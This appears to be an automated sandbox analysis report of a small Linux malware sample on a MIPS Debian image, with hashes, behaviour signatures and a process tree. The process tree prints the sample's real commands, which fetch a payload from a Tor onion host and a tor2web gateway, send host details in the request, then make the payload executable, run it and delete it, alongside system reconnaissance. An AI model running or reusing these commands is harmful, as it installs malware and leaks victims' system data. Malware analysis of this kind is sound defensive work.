Analysis

  • max time kernel
    124s
  • max time network
    138s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    24/10/2024, 18:05

General

  • Target

    74accae8c7e0093939ab4e0cd1c2a7fd_JaffaCakes118

  • Size

    1KB

  • MD5

    74accae8c7e0093939ab4e0cd1c2a7fd

  • SHA1

    ae3b26988c72634e3f0daeb6486332530ba58324

  • SHA256

    d5b4d0376c9b07f5be237d0e47aa9aa321489917d30559328e544c5d0347e5ea

  • SHA512

    7e784dce4b2fa0f5a3659ccf7af43b3f4886bd5ea32acb26a60ccad38c5bc918789d7d01f2090bd3a053d783c6eba4571865f7e54de106232d83cae57e4172b9

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Reads runtime system information 32 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 15 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/74accae8c7e0093939ab4e0cd1c2a7fd_JaffaCakes118
    /tmp/74accae8c7e0093939ab4e0cd1c2a7fd_JaffaCakes118
    1⤵
      PID:696
      • /bin/bash
        bash
        2⤵
        • Writes file to tmp directory
        PID:701
        • /usr/bin/cut
          cut -d: -f6
          3⤵
            PID:708
          • /usr/bin/id
            id -u
            3⤵
            • Reads runtime system information
            PID:710
          • /bin/grep
            grep x:0: /etc/passwd
            3⤵
              PID:707
            • /usr/bin/head
              head -n 1 /tmp/.X11-unix/01
              3⤵
                PID:716
              • /bin/ls
                ls /proc//status
                3⤵
                • Reads runtime system information
                PID:717
              • /bin/chmod
                chmod +x ./i
                3⤵
                • File and Directory Permissions Modification
                PID:720
              • /tmp/i
                ./i
                3⤵
                • Executes dropped EXE
                PID:722
              • /bin/rm
                rm -f i
                3⤵
                  PID:723
                • /bin/grep
                  grep -oE "\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b"
                  3⤵
                    PID:728
                  • /usr/bin/tr
                    tr " " "\\n"
                    3⤵
                      PID:729
                    • /usr/bin/sort
                      sort -uR
                      3⤵
                        PID:731
                      • /usr/bin/head
                        head -n 1
                        3⤵
                          PID:732
                        • /bin/grep
                          grep -Ev "[.]0"
                          3⤵
                            PID:730
                          • /usr/bin/curl
                            curl -4fsSLkA- -m200 "https://doh-fi.blahdns.com/dns-query?name=relay.tor2socks.in"
                            3⤵
                            • Reads runtime system information
                            PID:727
                          • /bin/uname
                            uname -m
                            3⤵
                              PID:743
                            • /bin/date
                              date
                              3⤵
                                PID:745
                              • /usr/bin/md5sum
                                md5sum
                                3⤵
                                  PID:746
                                • /usr/bin/cut
                                  cut -f1 -d-
                                  3⤵
                                    PID:747
                                  • /usr/bin/curl
                                    curl -4fsSLk checkip.amazonaws.com
                                    3⤵
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    PID:749
                                  • /usr/bin/whoami
                                    whoami
                                    3⤵
                                      PID:755
                                    • /bin/uname
                                      uname -m
                                      3⤵
                                        PID:756
                                      • /bin/uname
                                        uname -n
                                        3⤵
                                          PID:757
                                        • /bin/grep
                                          grep "inet "
                                          3⤵
                                            PID:760
                                          • /usr/bin/md5sum
                                            md5sum
                                            3⤵
                                              PID:762
                                            • /usr/bin/awk
                                              awk "{print \$1}"
                                              3⤵
                                              • Reads runtime system information
                                              PID:763
                                            • /sbin/ip
                                              ip a
                                              3⤵
                                              • System Network Configuration Discovery
                                              PID:759
                                            • /usr/bin/awk
                                              awk "{print \$2}"
                                              3⤵
                                              • Reads runtime system information
                                              PID:761
                                            • /usr/bin/crontab
                                              crontab -l
                                              3⤵
                                              • Reads runtime system information
                                              PID:766
                                            • /usr/bin/base64
                                              base64 -w0
                                              3⤵
                                                PID:767
                                              • /usr/bin/curl
                                                curl -4fsSLkA- -m200 -x socks5h://:9050 ojk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfhtoyd.onion/int.mips -o./3d4e2c62a0f0444c5e39a768425ab056 -e138.199.29.44_root_mips_debian9-mipsel-20240226-en-12_d41d8cd98f00b204e9800998ecf8427e_
                                                3⤵
                                                • Reads runtime system information
                                                • System Network Configuration Discovery
                                                PID:768
                                              • /usr/bin/curl
                                                curl -4fsSLkA- -m200 ojk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfhtoyd.tor2web.in/int.mips -o./3d4e2c62a0f0444c5e39a768425ab056 -e138.199.29.44_root_mips_debian9-mipsel-20240226-en-12_d41d8cd98f00b204e9800998ecf8427e_
                                                3⤵
                                                • Reads runtime system information
                                                • System Network Configuration Discovery
                                                PID:770
                                              • /bin/chmod
                                                chmod +x ./3d4e2c62a0f0444c5e39a768425ab056
                                                3⤵
                                                • File and Directory Permissions Modification
                                                PID:772
                                              • /tmp/3d4e2c62a0f0444c5e39a768425ab056
                                                ./3d4e2c62a0f0444c5e39a768425ab056
                                                3⤵
                                                  PID:773
                                                • /bin/rm
                                                  rm -f ./3d4e2c62a0f0444c5e39a768425ab056
                                                  3⤵
                                                    PID:774
                                                  • /usr/bin/head
                                                    head -n 1 /tmp/.X11-unix/01
                                                    3⤵
                                                      PID:775
                                                    • /bin/ls
                                                      ls /proc//status
                                                      3⤵
                                                      • Reads runtime system information
                                                      PID:776
                                                    • /bin/grep
                                                      grep -oE "\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b"
                                                      3⤵
                                                        PID:781
                                                      • /usr/bin/tr
                                                        tr " " "\\n"
                                                        3⤵
                                                          PID:782
                                                        • /usr/bin/sort
                                                          sort -uR
                                                          3⤵
                                                            PID:784
                                                          • /usr/bin/curl
                                                            curl -4fsSLkA- -m200 "https://doh.no.ahadns.net/dns-query?name=relay.tor2socks.in"
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:780
                                                          • /usr/bin/head
                                                            head -n 1
                                                            3⤵
                                                              PID:785
                                                            • /bin/grep
                                                              grep -Ev "[.]0"
                                                              3⤵
                                                                PID:783
                                                              • /bin/uname
                                                                uname -m
                                                                3⤵
                                                                  PID:791
                                                                • /usr/bin/cut
                                                                  cut -f1 -d-
                                                                  3⤵
                                                                    PID:795
                                                                  • /bin/date
                                                                    date
                                                                    3⤵
                                                                      PID:793
                                                                    • /usr/bin/md5sum
                                                                      md5sum
                                                                      3⤵
                                                                        PID:794
                                                                      • /usr/bin/curl
                                                                        curl -4fsSLk checkip.amazonaws.com
                                                                        3⤵
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:797
                                                                      • /usr/bin/whoami
                                                                        whoami
                                                                        3⤵
                                                                          PID:799
                                                                        • /bin/uname
                                                                          uname -m
                                                                          3⤵
                                                                            PID:800
                                                                          • /bin/uname
                                                                            uname -n
                                                                            3⤵
                                                                              PID:801
                                                                            • /sbin/ip
                                                                              ip a
                                                                              3⤵
                                                                              • System Network Configuration Discovery
                                                                              PID:803
                                                                            • /bin/grep
                                                                              grep "inet "
                                                                              3⤵
                                                                                PID:804
                                                                              • /usr/bin/md5sum
                                                                                md5sum
                                                                                3⤵
                                                                                  PID:806
                                                                                • /usr/bin/awk
                                                                                  awk "{print \$2}"
                                                                                  3⤵
                                                                                  • Reads runtime system information
                                                                                  PID:805
                                                                                • /usr/bin/awk
                                                                                  awk "{print \$1}"
                                                                                  3⤵
                                                                                  • Reads runtime system information
                                                                                  PID:807
                                                                                • /usr/bin/base64
                                                                                  base64 -w0
                                                                                  3⤵
                                                                                    PID:810
                                                                                  • /usr/bin/crontab
                                                                                    crontab -l
                                                                                    3⤵
                                                                                    • Reads runtime system information
                                                                                    PID:809
                                                                                  • /usr/bin/curl
                                                                                    curl -4fsSLkA- -m200 -x socks5h://:9050 ojk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfhtoyd.onion/int.mips -o./b18c7b90793d1614c38108eb109f833e -e138.199.29.44_root_mips_debian9-mipsel-20240226-en-12_d41d8cd98f00b204e9800998ecf8427e_
                                                                                    3⤵
                                                                                    • Reads runtime system information
                                                                                    • System Network Configuration Discovery
                                                                                    PID:811
                                                                                  • /usr/bin/curl
                                                                                    curl -4fsSLkA- -m200 ojk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfhtoyd.tor2web.in/int.mips -o./b18c7b90793d1614c38108eb109f833e -e138.199.29.44_root_mips_debian9-mipsel-20240226-en-12_d41d8cd98f00b204e9800998ecf8427e_
                                                                                    3⤵
                                                                                    • Reads runtime system information
                                                                                    • System Network Configuration Discovery
                                                                                    PID:813
                                                                                  • /bin/chmod
                                                                                    chmod +x ./b18c7b90793d1614c38108eb109f833e
                                                                                    3⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:815
                                                                                  • /tmp/b18c7b90793d1614c38108eb109f833e
                                                                                    ./b18c7b90793d1614c38108eb109f833e
                                                                                    3⤵
                                                                                      PID:816
                                                                                    • /bin/rm
                                                                                      rm -f ./b18c7b90793d1614c38108eb109f833e
                                                                                      3⤵
                                                                                        PID:817
                                                                                      • /usr/bin/head
                                                                                        head -n 1 /tmp/.X11-unix/01
                                                                                        3⤵
                                                                                          PID:818
                                                                                        • /bin/ls
                                                                                          ls /proc//status
                                                                                          3⤵
                                                                                          • Reads runtime system information
                                                                                          PID:819
                                                                                        • /bin/grep
                                                                                          grep -oE "\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b"
                                                                                          3⤵
                                                                                            PID:824
                                                                                          • /usr/bin/tr
                                                                                            tr " " "\\n"
                                                                                            3⤵
                                                                                              PID:825
                                                                                            • /bin/grep
                                                                                              grep -Ev "[.]0"
                                                                                              3⤵
                                                                                                PID:826
                                                                                              • /usr/bin/sort
                                                                                                sort -uR
                                                                                                3⤵
                                                                                                  PID:827
                                                                                                • /usr/bin/head
                                                                                                  head -n 1
                                                                                                  3⤵
                                                                                                    PID:828
                                                                                                  • /usr/bin/curl
                                                                                                    curl -4fsSLkA- -m200 "https://uncensored.lux1.dns.nixnet.xyz/dns-query?name=relay.tor2socks.in"
                                                                                                    3⤵
                                                                                                    • Reads runtime system information
                                                                                                    PID:823
                                                                                                  • /bin/uname
                                                                                                    uname -m
                                                                                                    3⤵
                                                                                                      PID:832
                                                                                                    • /bin/date
                                                                                                      date
                                                                                                      3⤵
                                                                                                        PID:834
                                                                                                      • /usr/bin/md5sum
                                                                                                        md5sum
                                                                                                        3⤵
                                                                                                          PID:835
                                                                                                        • /usr/bin/cut
                                                                                                          cut -f1 -d-
                                                                                                          3⤵
                                                                                                            PID:836
                                                                                                          • /usr/bin/curl
                                                                                                            curl -4fsSLk checkip.amazonaws.com
                                                                                                            3⤵
                                                                                                            • Reads runtime system information
                                                                                                            • System Network Configuration Discovery
                                                                                                            PID:839
                                                                                                          • /usr/bin/whoami
                                                                                                            whoami
                                                                                                            3⤵
                                                                                                              PID:844
                                                                                                            • /bin/uname
                                                                                                              uname -m
                                                                                                              3⤵
                                                                                                                PID:846
                                                                                                              • /bin/uname
                                                                                                                uname -n
                                                                                                                3⤵
                                                                                                                  PID:847
                                                                                                                • /sbin/ip
                                                                                                                  ip a
                                                                                                                  3⤵
                                                                                                                  • System Network Configuration Discovery
                                                                                                                  PID:850
                                                                                                                • /bin/grep
                                                                                                                  grep "inet "
                                                                                                                  3⤵
                                                                                                                    PID:851
                                                                                                                  • /usr/bin/awk
                                                                                                                    awk "{print \$2}"
                                                                                                                    3⤵
                                                                                                                    • Reads runtime system information
                                                                                                                    PID:852
                                                                                                                  • /usr/bin/md5sum
                                                                                                                    md5sum
                                                                                                                    3⤵
                                                                                                                      PID:853
                                                                                                                    • /usr/bin/awk
                                                                                                                      awk "{print \$1}"
                                                                                                                      3⤵
                                                                                                                      • Reads runtime system information
                                                                                                                      PID:854
                                                                                                                    • /usr/bin/crontab
                                                                                                                      crontab -l
                                                                                                                      3⤵
                                                                                                                      • Reads runtime system information
                                                                                                                      PID:857
                                                                                                                    • /usr/bin/base64
                                                                                                                      base64 -w0
                                                                                                                      3⤵
                                                                                                                        PID:858
                                                                                                                      • /usr/bin/curl
                                                                                                                        curl -4fsSLkA- -m200 -x socks5h://:9050 ojk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfhtoyd.onion/int.mips -o./5f3b49ef027eb052018f97a43d59ca89 -e138.199.29.44_root_mips_debian9-mipsel-20240226-en-12_d41d8cd98f00b204e9800998ecf8427e_
                                                                                                                        3⤵
                                                                                                                        • Reads runtime system information
                                                                                                                        • System Network Configuration Discovery
                                                                                                                        PID:860
                                                                                                                      • /usr/bin/curl
                                                                                                                        curl -4fsSLkA- -m200 ojk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfhtoyd.tor2web.in/int.mips -o./5f3b49ef027eb052018f97a43d59ca89 -e138.199.29.44_root_mips_debian9-mipsel-20240226-en-12_d41d8cd98f00b204e9800998ecf8427e_
                                                                                                                        3⤵
                                                                                                                        • Reads runtime system information
                                                                                                                        • System Network Configuration Discovery
                                                                                                                        PID:865
                                                                                                                      • /bin/chmod
                                                                                                                        chmod +x ./5f3b49ef027eb052018f97a43d59ca89
                                                                                                                        3⤵
                                                                                                                        • File and Directory Permissions Modification
                                                                                                                        PID:869
                                                                                                                      • /dev/shm/5f3b49ef027eb052018f97a43d59ca89
                                                                                                                        ./5f3b49ef027eb052018f97a43d59ca89
                                                                                                                        3⤵
                                                                                                                          PID:870
                                                                                                                        • /bin/rm
                                                                                                                          rm -f ./5f3b49ef027eb052018f97a43d59ca89
                                                                                                                          3⤵
                                                                                                                            PID:871
                                                                                                                          • /usr/bin/head
                                                                                                                            head -n 1 /tmp/.X11-unix/01
                                                                                                                            3⤵
                                                                                                                              PID:873
                                                                                                                            • /bin/ls
                                                                                                                              ls /proc//status
                                                                                                                              3⤵
                                                                                                                              • Reads runtime system information
                                                                                                                              PID:875
                                                                                                                            • /bin/chmod
                                                                                                                              chmod +x ./i
                                                                                                                              3⤵
                                                                                                                              • File and Directory Permissions Modification
                                                                                                                              PID:876
                                                                                                                            • /tmp/i
                                                                                                                              ./i
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:877
                                                                                                                            • /bin/rm
                                                                                                                              rm -f i
                                                                                                                              3⤵
                                                                                                                                PID:878
                                                                                                                              • /bin/grep
                                                                                                                                grep -oE "\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b"
                                                                                                                                3⤵
                                                                                                                                  PID:883
                                                                                                                                • /usr/bin/tr
                                                                                                                                  tr " " "\\n"
                                                                                                                                  3⤵
                                                                                                                                    PID:884
                                                                                                                                  • /usr/bin/curl
                                                                                                                                    curl -4fsSLkA- -m200 "https://dns.twnic.tw/dns-query?name=relay.tor2socks.in"
                                                                                                                                    3⤵
                                                                                                                                    • Reads runtime system information
                                                                                                                                    PID:882
                                                                                                                                  • /usr/bin/head
                                                                                                                                    head -n 1
                                                                                                                                    3⤵
                                                                                                                                      PID:887
                                                                                                                                    • /usr/bin/sort
                                                                                                                                      sort -uR
                                                                                                                                      3⤵
                                                                                                                                        PID:886
                                                                                                                                      • /bin/grep
                                                                                                                                        grep -Ev "[.]0"
                                                                                                                                        3⤵
                                                                                                                                          PID:885
                                                                                                                                        • /bin/uname
                                                                                                                                          uname -m
                                                                                                                                          3⤵
                                                                                                                                            PID:896
                                                                                                                                          • /bin/date
                                                                                                                                            date
                                                                                                                                            3⤵
                                                                                                                                              PID:898
                                                                                                                                            • /usr/bin/md5sum
                                                                                                                                              md5sum
                                                                                                                                              3⤵
                                                                                                                                                PID:899
                                                                                                                                              • /usr/bin/cut
                                                                                                                                                cut -f1 -d-
                                                                                                                                                3⤵
                                                                                                                                                  PID:900
                                                                                                                                                • /usr/bin/curl
                                                                                                                                                  curl -4fsSLk checkip.amazonaws.com
                                                                                                                                                  3⤵
                                                                                                                                                  • Reads runtime system information
                                                                                                                                                  • System Network Configuration Discovery
                                                                                                                                                  PID:903
                                                                                                                                                • /usr/bin/whoami
                                                                                                                                                  whoami
                                                                                                                                                  3⤵
                                                                                                                                                    PID:907
                                                                                                                                                  • /bin/uname
                                                                                                                                                    uname -m
                                                                                                                                                    3⤵
                                                                                                                                                      PID:908
                                                                                                                                                    • /bin/uname
                                                                                                                                                      uname -n
                                                                                                                                                      3⤵
                                                                                                                                                        PID:910
                                                                                                                                                      • /sbin/ip
                                                                                                                                                        ip a
                                                                                                                                                        3⤵
                                                                                                                                                        • System Network Configuration Discovery
                                                                                                                                                        PID:912
                                                                                                                                                      • /bin/grep
                                                                                                                                                        grep "inet "
                                                                                                                                                        3⤵
                                                                                                                                                          PID:913
                                                                                                                                                        • /usr/bin/md5sum
                                                                                                                                                          md5sum
                                                                                                                                                          3⤵
                                                                                                                                                            PID:915
                                                                                                                                                          • /usr/bin/awk
                                                                                                                                                            awk "{print \$2}"
                                                                                                                                                            3⤵
                                                                                                                                                            • Reads runtime system information
                                                                                                                                                            PID:914
                                                                                                                                                          • /usr/bin/awk
                                                                                                                                                            awk "{print \$1}"
                                                                                                                                                            3⤵
                                                                                                                                                            • Reads runtime system information
                                                                                                                                                            PID:916
                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                            crontab -l
                                                                                                                                                            3⤵
                                                                                                                                                            • Reads runtime system information
                                                                                                                                                            PID:919
                                                                                                                                                          • /usr/bin/base64
                                                                                                                                                            base64 -w0
                                                                                                                                                            3⤵
                                                                                                                                                              PID:920
                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                              curl -4fsSLkA- -m200 -x socks5h://5.10.228.248:9050 ojk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfhtoyd.onion/int.mips -o./1b8f4bb809b6d9f7810d0d4d1656553c -e138.199.29.44_root_mips_debian9-mipsel-20240226-en-12_d41d8cd98f00b204e9800998ecf8427e_
                                                                                                                                                              3⤵
                                                                                                                                                              • Reads runtime system information
                                                                                                                                                              • System Network Configuration Discovery
                                                                                                                                                              PID:923
                                                                                                                                                          • /usr/bin/base64
                                                                                                                                                            base64 -d
                                                                                                                                                            2⤵
                                                                                                                                                            • Deobfuscate/Decode Files or Information
                                                                                                                                                            PID:700

                                                                                                                                                        Network

                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                        Replay Monitor

                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                        Downloads

                                                                                                                                                        • /tmp/i

                                                                                                                                                          Filesize

                                                                                                                                                          5B

                                                                                                                                                          MD5

                                                                                                                                                          f4b524261fce06c1fbd10b4681ad0b97

                                                                                                                                                          SHA1

                                                                                                                                                          c595d1a14f6aa42cc1aa7ab4416c39ada07ca89d

                                                                                                                                                          SHA256

                                                                                                                                                          9577a8bfed904bd55390ba203f1a233be1981b36fa945537eb3be5b2446de031

                                                                                                                                                          SHA512

                                                                                                                                                          ab280f109ee7dcfb8031e160d0235e9bfb72cabde44b21355d9e6db2873530d8537e3bdbb8faf6cd8d6b3eac33f58de7694201b93f277d0b587bf2534df14449